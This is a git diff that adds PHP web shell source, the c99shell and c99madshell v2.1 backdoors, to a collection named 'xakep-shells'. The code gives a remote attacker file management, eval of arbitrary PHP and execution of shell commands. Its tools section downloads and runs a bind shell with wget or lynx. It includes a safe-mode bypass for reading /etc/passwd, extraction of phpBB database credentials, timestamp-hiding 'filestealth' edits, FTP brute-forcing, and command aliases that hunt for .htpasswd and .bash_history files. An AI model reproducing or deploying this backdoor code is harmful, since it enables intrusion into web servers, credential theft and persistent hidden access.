+ if ($r[4]) {break;}
+ }
+ }
+ }
+ }
+ $uo = urlencode($o);
+ $ud = urlencode($dir);
+ $uv = urlencode($v);
+ $row = array();
+ if ($o == ".")
+ {
+ $row[] = " ".$o." ";
+ $row[] = "LINK";
+ }
+ elseif ($o == "..")
+ {
+ $row[] = " ".$o." ";
+ $row[] = "LINK";
+ }
+ elseif (is_dir($v))
+ {
+ if (is_link($v))
+ {
+ $disppath .= " => ".readlink($v);
+ $type = "LINK";
+ $row[] = " [".$disppath."] ";
+ }
+ else
+ {
+ $type = "DIR";
+ $row[] = " [".$disppath."] ";
+ }
+ $row[] = $type;
+ }
+ elseif(is_file($v))
+ {
+ $ext = explode(".",$o);
+ $c = count($ext)-1;
+ $ext = $ext[$c];
+ $ext = strtolower($ext);
+ $row[] = " ".$disppath." ";
+ $row[] = view_size($a[1]);
+ }
+ $row[] = date("d.m.Y H:i:s",$a[2]);
+ if (!$win) {$row[] = $a[3];}
+ $row[] = "".view_perms_color($v)." ";
+ if ($o == ".") {$checkbox = " "; $i--;}
+ else {$checkbox = " ";}
+ if (is_dir($v)) {$row[] = " ".$checkbox;}
+ else {$row[] = " ".$checkbox;}
+ if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;}
+ elseif (is_link($v)) {$tab["links"][] = $row;}
+ elseif (is_dir($v)) {$tab["folders"][] = $row;}
+ elseif (is_file($v)) {$tab["files"][] = $row;}
+ $i++;
+ }
+ }
+ // Compiling table
+ $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]);
+ echo "Listing folder (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders): ";
+ foreach($table as $row)
+ {
+ echo "\r\n";
+ foreach($row as $v) {echo "".$v." \r\n";}
+ echo " \r\n";
+ }
+ echo "
+
+
+ ";
+ if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff))
+ {
+ echo " ";
+ }
+ echo "With selected: ";
+ echo "Delete ";
+ echo "Change-mode ";
+ if ($usefsbuff)
+ {
+ echo "Cut ";
+ echo "Copy ";
+ echo "Unselect ";
+ }
+ echo "
";
+ echo "";
+ }
+}
+if ($act == "tools")
+{
+
+
+
+
+
+
+ ?>
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+Now script try connect to ".$_GET['ipi']." port ".$_GET['pipi']." ...";
+}
+if (!empty($_GET['dolma']))
+{
+$sayko=htmlspecialchars($_GET['dolma']);
+if ($sayko == "wgetcan")
+{
+
+myshellexec("wget $adires -O sayko_bind;chmod 777 sayko_bind;./sayko_bind");
+
+
+}
+
+else if ($sayko =="freadcan")
+{
+dosyayicek($adires,"sayko_bind");
+myshellexec("./sayko_bind");
+}
+
+else if ($sayko == "lynxcan")
+{
+myshellexec("lynx -dump $adires > sayko_bind;chmod 777 sayko_bind;./sayko_bind");
+
+}
+
+
+
+
+
+}
+
+if (!empty($_POST['erorr']))
+{
+
+
+
+error_log($_POST['erorr'], 3, "php://".$_POST['nere']);
+
+
+
+}
+
+
+
+
+
+
+
+
+
+}
+if ($act == "processes")
+{
+ echo "Processes: ";
+ if (!$win) {$handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":"");}
+ else {$handler = "tasklist";}
+ $ret = myshellexec($handler);
+ if (!$ret) {echo "Can't execute \"".$handler."\"!";}
+ else
+ {
+ if (empty($processes_sort)) {$processes_sort = $sort_default;}
+ $parsesort = parsesort($processes_sort);
+ if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;}
+ $k = $parsesort[0];
+ if ($parsesort[1] != "a") {$y = " ";}
+ else {$y = " ";}
+ $ret = htmlspecialchars($ret);
+ if (!$win)
+ {
+ if ($pid)
+ {
+ if (is_null($sig)) {$sig = 9;}
+ echo "Sending signal ".$sig." to #".$pid."... ";
+ if (posix_kill($pid,$sig)) {echo "OK.";}
+ else {echo "ERROR.";}
+ }
+ while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
+ $stack = explode("\n",$ret);
+ $head = explode(" ",$stack[0]);
+ unset($stack[0]);
+ for($i=0;$i".$head[$i]." ";}
+ }
+ $prcs = array();
+ foreach ($stack as $line)
+ {
+ if (!empty($line))
+{
+ echo "";
+ $line = explode(" ",$line);
+ $line[10] = join(" ",array_slice($line,10));
+ $line = array_slice($line,0,11);
+ if ($line[0] == get_current_user()) {$line[0] = "".$line[0]." ";}
+ $line[] = "KILL ";
+ $prcs[] = $line;
+ echo " ";
+ }
+ }
+ }
+ else
+ {
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg("",$ret)) {$ret = str_replace("","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ $ret = convert_cyr_string($ret,"d","w");
+ $stack = explode("\n",$ret);
+ unset($stack[0],$stack[2]);
+ $stack = array_values($stack);
+ $head = explode("",$stack[0]);
+ $head[1] = explode(" ",$head[1]);
+ $head[1] = $head[1][0];
+ $stack = array_slice($stack,1);
+ unset($head[2]);
+ $head = array_values($head);
+ if ($parsesort[1] != "a") {$y = " ";}
+ else {$y = " ";}
+ if ($k > count($head)) {$k = count($head)-1;}
+ for($i=0;$i".trim($head[$i])." ";}
+ }
+ $prcs = array();
+ foreach ($stack as $line)
+ {
+ if (!empty($line))
+ {
+ echo "";
+ $line = explode("",$line);
+ $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]);
+ $line[2] = intval(str_replace(" ","",$line[2]))*1024;
+ $prcs[] = $line;
+ echo " ";
+ }
+ }
+ }
+ $head[$k] = "".$head[$k]." ".$y;
+ $v = $processes_sort[0];
+ usort($prcs,"tabsort");
+ if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);}
+ $tab = array();
+ $tab[] = $head;
+ $tab = array_merge($tab,$prcs);
+ echo "";
+ foreach($tab as $i=>$k)
+ {
+ echo "";
+ foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "".$v." ";}
+ echo " ";
+ }
+ echo "
";
+ }
+}
+if ($act == "eval")
+{
+ if (!empty($eval))
+ {
+ echo "Result of execution this PHP-code : ";
+ $tmp = ob_get_contents();
+ $olddir = realpath(".");
+ @chdir($d);
+ if ($tmp)
+ {
+ ob_clean();
+ eval($eval);
+ $ret = ob_get_contents();
+ $ret = convert_cyr_string($ret,"d","w");
+ ob_clean();
+ echo $tmp;
+ if ($eval_txt)
+ {
+ $rows = count(explode("\r\n",$ret))+1;
+ if ($rows < 10) {$rows = 10;}
+ echo "".htmlspecialchars($ret)." ";
+ }
+ else {echo $ret." ";}
+ }
+ else
+ {
+ if ($eval_txt)
+ {
+ echo "";
+ eval($eval);
+ echo " ";
+ }
+ else {echo $ret;}
+ }
+ @chdir($olddir);
+ }
+ else {echo "Execution PHP-code "; if (empty($eval_txt)) {$eval_txt = TRUE;}}
+ echo "".htmlspecialchars($eval)." Display in text-area ";
+}
+if ($act == "f")
+{
+ if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit")
+ {
+ if (file_exists($d.$f)) {echo "Permision denied (".htmlspecialchars($d.$f).")! ";}
+ else {echo "File does not exists (".htmlspecialchars($d.$f).")! Create ";}
+ }
+ else
+ {
+ $r = @file_get_contents($d.$f);
+ $ext = explode(".",$f);
+ $c = count($ext)-1;
+ $ext = $ext[$c];
+ $ext = strtolower($ext);
+ $rft = "";
+ foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}}
+ if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}
+ if (empty($ft)) {$ft = $rft;}
+ $arr = array(
+ array(" ","info"),
+ array(" ","html"),
+ array(" ","txt"),
+ array("Code","code"),
+ array("Session","phpsess"),
+ array(" ","exe"),
+ array("SDB","sdb"),
+ array(" ","img"),
+ array(" ","ini"),
+ array(" ","download"),
+ array(" ","notepad"),
+ array(" ","edit")
+ );
+ echo "Viewing file: ".$f." (".view_size(filesize($d.$f)).") ".view_perms_color($d.$f)." Select action/file-type: ";
+ foreach($arr as $t)
+ {
+ if ($t[1] == $rft) {echo " ".$t[0]." ";}
+ elseif ($t[1] == $ft) {echo " ".$t[0]." ";}
+ else {echo " ".$t[0]." ";}
+ echo " (+ ) |";
+ }
+ echo " ";
+ if ($ft == "info")
+ {
+ echo "Information: Path ".$d.$f." Size ".view_size(filesize($d.$f))." MD5 ".md5_file($d.$f)." ";
+ if (!$win)
+ {
+ echo "Owner/Group ";
+ $ow = posix_getpwuid(fileowner($d.$f));
+ $gr = posix_getgrgid(filegroup($d.$f));
+ echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f));
+ }
+ echo " Perms ".view_perms_color($d.$f)." Create time ".date("d/m/Y H:i:s",filectime($d.$f))." Access time ".date("d/m/Y H:i:s",fileatime($d.$f))." MODIFY time ".date("d/m/Y H:i:s",filemtime($d.$f))."
";
+ $fi = fopen($d.$f,"rb");
+ if ($fi)
+ {
+ if ($fullhexdump) {echo "FULL HEXDUMP "; $str = fread($fi,filesize($d.$f));}
+ else {echo "HEXDUMP PREVIEW "; $str = fread($fi,$hexdump_lines*$hexdump_rows);}
+ $n = 0;
+ $a0 = "00000000 ";
+ $a1 = "";
+ $a2 = "";
+ for ($i=0; $i";}
+ $a1 .= " ";
+ $a2 .= " ";
+ }
+ }
+ //if ($a1 != "") {$a0 .= sprintf("%08X",$i)." ";}
+ echo " ";
+ }
+ $encoded = "";
+ if ($base64 == 1)
+ {
+ echo "Base64 Encode ";
+ $encoded = base64_encode(file_get_contents($d.$f));
+ }
+ elseif($base64 == 2)
+ {
+ echo "Base64 Encode + Chunk ";
+ $encoded = chunk_split(base64_encode(file_get_contents($d.$f)));
+ }
+ elseif($base64 == 3)
+ {
+ echo "Base64 Encode + Chunk + Quotes ";
+ $encoded = base64_encode(file_get_contents($d.$f));
+ $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2);
+ }
+ elseif($base64 == 4)
+ {
+ $text = file_get_contents($d.$f);
+ $encoded = base64_decode($text);
+ echo "Base64 Decode";
+ if (base64_encode($encoded) != $text) {echo " (failed)";}
+ echo " ";
+ }
+ if (!empty($encoded))
+ {
+ echo "".htmlspecialchars($encoded)." ";
+ }
+ echo "HEXDUMP: [Full ] [Preview ]Base64:
+[Encode ]
+[+chunk ]
+[+chunk+quotes ]
+[Decode ]
+";
+ }
+ elseif ($ft == "html")
+ {
+ if ($white) {@ob_clean();}
+ echo $r;
+ if ($white) {c99shexit();}
+ }
+ elseif ($ft == "txt") {echo "
".htmlspecialchars($r)." ";}
+ elseif ($ft == "ini") {echo ""; var_dump(parse_ini_file($d.$f,TRUE)); echo " ";}
+ elseif ($ft == "phpsess")
+ {
+ echo "";
+ $v = explode("|",$r);
+ echo $v[0]." ";
+ var_dump(unserialize($v[1]));
+ echo " ";
+ }
+ elseif ($ft == "exe")
+ {
+ $ext = explode(".",$f);
+ $c = count($ext)-1;
+ $ext = $ext[$c];
+ $ext = strtolower($ext);
+ $rft = "";
+ foreach($exeftypes as $k=>$v)
+ {
+ if (in_array($ext,$v)) {$rft = $k; break;}
+ }
+ $cmd = str_replace("%f%",$f,$rft);
+ echo "Execute file: Display in text-area ";
+ }
+ elseif ($ft == "sdb") {echo ""; var_dump(unserialize(base64_decode($r))); echo " ";}
+ elseif ($ft == "code")
+ {
+ if (ereg("php"."BB 2.(.*) auto-generated config file",$r))
+ {
+ $arr = explode("\n",$r);
+ if (count($arr == 18))
+ {
+ include($d.$f);
+ echo "phpBB configuration is detected in this file! ";
+ if ($dbms == "mysql4") {$dbms = "mysql";}
+ if ($dbms == "mysql") {echo "Connect to DB ";}
+ else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by c99shell. Please, report us for fix.";}
+ echo "Parameters for manual connect: ";
+ $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd);
+ foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."' ";}
+ echo " ";
+ }
+ }
+ echo "";
+ if (!empty($white)) {@ob_clean();}
+ highlight_file($d.$f);
+ if (!empty($white)) {c99shexit();}
+ echo "
";
+ }
+ elseif ($ft == "download")
+ {
+ @ob_clean();
+ header("Content-type: application/octet-stream");
+ header("Content-length: ".filesize($d.$f));
+ header("Content-disposition: attachment; filename=\"".$f."\";");
+ echo $r;
+ exit;
+ }
+ elseif ($ft == "notepad")
+ {
+ @ob_clean();
+ header("Content-type: text/plain");
+ header("Content-disposition: attachment; filename=\"".$f.".txt\";");
+ echo($r);
+ exit;
+ }
+ elseif ($ft == "img")
+ {
+ $inf = getimagesize($d.$f);
+ if (!$white)
+ {
+ if (empty($imgsize)) {$imgsize = 20;}
+ $width = $inf[0]/100*$imgsize;
+ $height = $inf[1]/100*$imgsize;
+ echo "Size: ";
+ $sizes = array("100","50","20");
+ foreach ($sizes as $v)
+ {
+ echo "";
+ if ($imgsize != $v ) {echo $v;}
+ else {echo "".$v." ";}
+ echo " ";
+ }
+ echo " ";
+ }
+ else
+ {
+ @ob_clean();
+ $ext = explode($f,".");
+ $ext = $ext[count($ext)-1];
+ header("Content-type: ".$inf["mime"]);
+ readfile($d.$f);
+ exit;
+ }
+ }
+ elseif ($ft == "edit")
+ {
+ if (!empty($submit))
+ {
+ if ($filestealth) {$stat = stat($d.$f);}
+ $fp = fopen($d.$f,"w");
+ if (!$fp) {echo "Can't write to file! ";}
+ else
+ {
+ echo "Saved! ";
+ fwrite($fp,$edit_text);
+ fclose($fp);
+ if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
+ $r = $edit_text;
+ }
+ }
+ $rows = count(explode("\r\n",$r));
+ if ($rows < 10) {$rows = 10;}
+ if ($rows > 30) {$rows = 30;}
+ echo " ".htmlspecialchars($r)." ";
+ }
+ elseif (!empty($ft)) {echo "Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS. ";}
+ else {echo "Unknown extension (".$ext."), please, select type manually. ";}
+ }
+}
+}
+else
+{
+ @ob_clean();
+ $images = array(
+"arrow_ltr"=>
+"R0lGODlhJgAWAIAAAAAAAP///yH5BAUUAAEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvz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
+"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg".
+"+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV".
+"IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==",
+"write"=>
+"R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA".
+"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze".
+"EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61".
+"LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==",
+"ext_asp"=>
+"R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/".
+"/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI".
+"D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=",
+"ext_mp3"=>
+"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU".
+"aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc".
+"IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=",
+"ext_avi"=>
+"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM".
+"WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4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1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt".
+"xhIAOw==",
+"ext_h"=>
+"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB".
+"WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo".
+"Wq/NknbbSgAAOw==",
+"ext_hpp"=>
+"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF".
+"WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR".
+"UqUagnbLdZa+YFcCADs=",
+"ext_htaccess"=>
+"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6".
+"WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ".
+"AAA7",
+"ext_html"=>
+"R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz".
+"c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P".
+"KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk".
+"Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR".
+"ADs=",
+"ext_jpg"=>
+"R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA".
+"AAAAAAAAAAAAAAAAAAAAAAAAAAA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ao".
+"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=",
+"ext_xml"=>
+"R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA".
+"gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+"AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx".
+"OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ".
+"IQA7"
+ );
+ //For simple size- and speed-optimization.
+ $imgequals = array(
+ "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"),
+ "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"),
+ "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"),
+ "ext_html"=>array("ext_html","ext_htm"),
+ "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"),
+ "ext_lnk"=>array("ext_lnk","ext_url"),
+ "ext_ini"=>array("ext_ini","ext_css","ext_inf"),
+ "ext_doc"=>array("ext_doc","ext_dot"),
+ "ext_js"=>array("ext_js","ext_vbs"),
+ "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"),
+ "ext_wri"=>array("ext_wri","ext_rtf"),
+ "ext_swf"=>array("ext_swf","ext_fla"),
+ "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"),
+ "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so")
+ );
+ if (!$getall)
+ {
+ header("Content-type: image/gif");
+ header("Cache-control: public");
+ header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
+ header("Cache-control: max-age=".(60*60*24*7));
+ header("Last-Modified: ".date("r",filemtime(__FILE__)));
+ foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}}
+ if (empty($images[$img])) {$img = "small_unk";}
+ if (in_array($img,$ext_tar)) {$img = "ext_tar";}
+ echo base64_decode($images[$img]);
+ }
+ else
+ {
+ foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."] ");}}}}
+ natsort($images);
+ $k = array_keys($images);
+ echo "";
+ foreach ($k as $u) {echo $u.": ";}
+ echo " ";
+ }
+ exit;
+}
+if ($act == "about") {echo "Credits: Idea, leading and coding by tristram[CCTeaM]. Beta-testing and some tips - NukLeoN [AnTiSh@Re tEaM]. Thanks all who report bugs. All bugs send to tristram's ICQ #656555 . ";}
+?>
+
+
+
+
+:: Preddy's tricks :D ::
+
+
+ Php Safe-Mode Bypass (Read Files)
+
+
+
+ File:
eg: /etc/passwd
+
+
+
+
+
+
+
+
+ function rsg_read()
+ {
+ $test="";
+ $temp=tempnam($test, "cx");
+ $file=$_GET['file'];
+ $get=htmlspecialchars($file);
+ echo "
Trying To Get File
$get ";
+ if(copy("compress.zlib://".$file, $temp)){
+ $fichier = fopen($temp, "r");
+ $action = fread($fichier, filesize($temp));
+ fclose($fichier);
+ $source=htmlspecialchars($action);
+ echo "
Start $get $source Fin $get ";
+ unlink($temp);
+ } else {
+ die("
Sorry... File
+ ".htmlspecialchars($file)." dosen't exists or you don't have
+ access. ");
+ }
+ echo "";
+ }
+
+ if(isset($_GET['file']))
+{
+rsg_read();
+}
+
+ ?>
+
+
+
+ function rsg_glob()
+{
+$chemin=$_GET['directory'];
+$files = glob("$chemin*");
+echo "Trying To List Folder
$chemin ";
+foreach ($files as $filename) {
+ echo "
";
+ echo "$filename\n";
+ echo " ";
+}
+}
+
+if(isset($_GET['directory']))
+{
+rsg_glob();
+}
+
+?>
+
+
+
+
+
+
+ Php Safe-Mode Bypass (List Directories):
+
+ Dir: eg: /etc/
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/xakep-shells/PHP/c99madshell_v2.0.php.php.txt b/xakep-shells/PHP/c99madshell_v2.0.php.php.txt
new file mode 100644
index 0000000..8d3afa4
--- /dev/null
+++ b/xakep-shells/PHP/c99madshell_v2.0.php.php.txt
@@ -0,0 +1,7 @@
+
\ No newline at end of file
diff --git a/xakep-shells/PHP/c99madshell_v2.1.php.php.txt b/xakep-shells/PHP/c99madshell_v2.1.php.php.txt
new file mode 100644
index 0000000..ae1cf72
--- /dev/null
+++ b/xakep-shells/PHP/c99madshell_v2.1.php.php.txt
@@ -0,0 +1,2517 @@
+
+if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}}
+error_reporting(5);
+@ignore_user_abort(TRUE);
+@set_magic_quotes_runtime(0);
+$win = strtolower(substr(PHP_OS,0,3)) == "win";
+define("starttime",getmicrotime());
+if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);}
+$_REQUEST = array_merge($_COOKIE,$_POST);
+foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}}
+$shver = "2.1 madnet edition ADVANCED";
+if (empty($surl))
+{
+ $surl = $_SERVER['PHP_SELF'];
+}
+$surl = htmlspecialchars($surl);
+
+$timelimit = 0;
+$host_allow = array("*");
+$login_txt = "Admin area";
+$accessdeniedmess = "die like the rest";
+$gzipencode = TRUE;
+$c99sh_sourcesurl = ""; //Sources-server
+$filestealth = TRUE;
+$donated_html = "";
+$donated_act = array("");
+$curdir = "./";
+$tmpdir = "";
+$tmpdir_log = "./";
+
+$log_email = "user@host.gov";
+$sort_default = "0a";
+$sort_save = TRUE;
+
+$ftypes = array(
+ "html"=>array("html","htm","shtml"),
+ "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
+ "exe"=>array("sh","install","bat","cmd"),
+ "ini"=>array("ini","inf"),
+ "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
+ "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
+ "sdb"=>array("sdb"),
+ "phpsess"=>array("sess"),
+ "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")
+);
+
+
+$exeftypes = array(
+ getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
+ "perl %f%" => array("pl","cgi")
+);
+
+$regxp_highlight = array(
+ array(basename($_SERVER["PHP_SELF"]),1,""," "),
+ array("config.php",1) // example
+);
+
+$safemode_diskettes = array("a");
+$hexdump_lines = 8;
+$hexdump_rows = 24;
+$nixpwdperpage = 100;
+$bindport_pass = "c99mad";
+$bindport_port = "31373";
+$bc_port = "31373";
+$datapipe_localport = "8081";
+if (!$win)
+{
+ $cmdaliases = array(
+ array("-----------------------------------------------------------", "ls -la"),
+ array("find all suid files", "find / -type f -perm -04000 -ls"),
+ array("find suid files in current dir", "find . -type f -perm -04000 -ls"),
+ array("find all sgid files", "find / -type f -perm -02000 -ls"),
+ array("find sgid files in current dir", "find . -type f -perm -02000 -ls"),
+ array("find config.inc.php files", "find / -type f -name config.inc.php"),
+ array("find config* files", "find / -type f -name \"config*\""),
+ array("find config* files in current dir", "find . -type f -name \"config*\""),
+ array("find all writable folders and files", "find / -perm -2 -ls"),
+ array("find all writable folders and files in current dir", "find . -perm -2 -ls"),
+ array("find all service.pwd files", "find / -type f -name service.pwd"),
+ array("find service.pwd files in current dir", "find . -type f -name service.pwd"),
+ array("find all .htpasswd files", "find / -type f -name .htpasswd"),
+ array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
+ array("find all .bash_history files", "find / -type f -name .bash_history"),
+ array("find .bash_history files in current dir", "find . -type f -name .bash_history"),
+ array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),
+ array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),
+ array("list file attributes on a Linux second extended file system", "lsattr -va"),
+ array("show opened ports", "netstat -an | grep -i listen")
+ );
+}
+else
+{
+ $cmdaliases = array(
+ array("-----------------------------------------------------------", "dir"),
+ array("show opened ports", "netstat -an")
+ );
+}
+
+$sess_cookie = "c99shvars";
+
+$usefsbuff = TRUE;
+$copy_unset = FALSE;
+
+$quicklaunch = array(
+ array(" HOME ",$surl),
+ array("<= ","#\" onclick=\"history.back(1)"),
+ array("=> ","#\" onclick=\"history.go(1)"),
+ array("UPDIR ","#\" onclick=\"document.todo.act.value='ls';document.todo.d.value='%upd';document.todo.sort.value='%sort';document.todo.submit();"),
+ array("Search ","#\" onclick=\"document.todo.act.value='search';document.todo.d.value='%d';document.todo.submit();"),
+ array("Buffer ","#\" onclick=\"document.todo.act.value='fsbuff';document.todo.d.value='%d';document.todo.submit();"),
+ array("Tools ","#\" onclick=\"document.todo.act.value='tools';document.todo.d.value='%d';document.todo.submit();"),
+ array("Proc. ","#\" onclick=\"document.todo.act.value='processes';document.todo.d.value='%d';document.todo.submit();"),
+ array("FTP brute ","#\" onclick=\"document.todo.act.value='ftpquickbrute';document.todo.d.value='%d';document.todo.submit();"),
+ array("Sec. ","#\" onclick=\"document.todo.act.value='security';document.todo.d.value='%d';document.todo.submit();"),
+ array("SQL ","#\" onclick=\"document.todo.act.value='sql';document.todo.d.value='%d';document.todo.submit();"),
+ array("PHP-code ","#\" onclick=\"document.todo.act.value='eval';document.todo.d.value='%d';document.todo.submit();"),
+ array("Self remove ","#\" onclick=\"document.todo.act.value='selfremove';document.todo.submit();"),
+ array("Logout ","#\" onclick=\"if (confirm('Are you sure?')) window.close()")
+);
+
+$highlight_background = "#c0c0c0";
+$highlight_bg = "#FFFFFF";
+$highlight_comment = "#6A6A6A";
+$highlight_default = "#0000BB";
+$highlight_html = "#1300FF";
+$highlight_keyword = "#007700";
+$highlight_string = "#000000";
+
+@$f = $_REQUEST["f"];
+@extract($_REQUEST["c99shcook"]);
+/////////////////////////////////////
+@set_time_limit(0);
+$tmp = array();
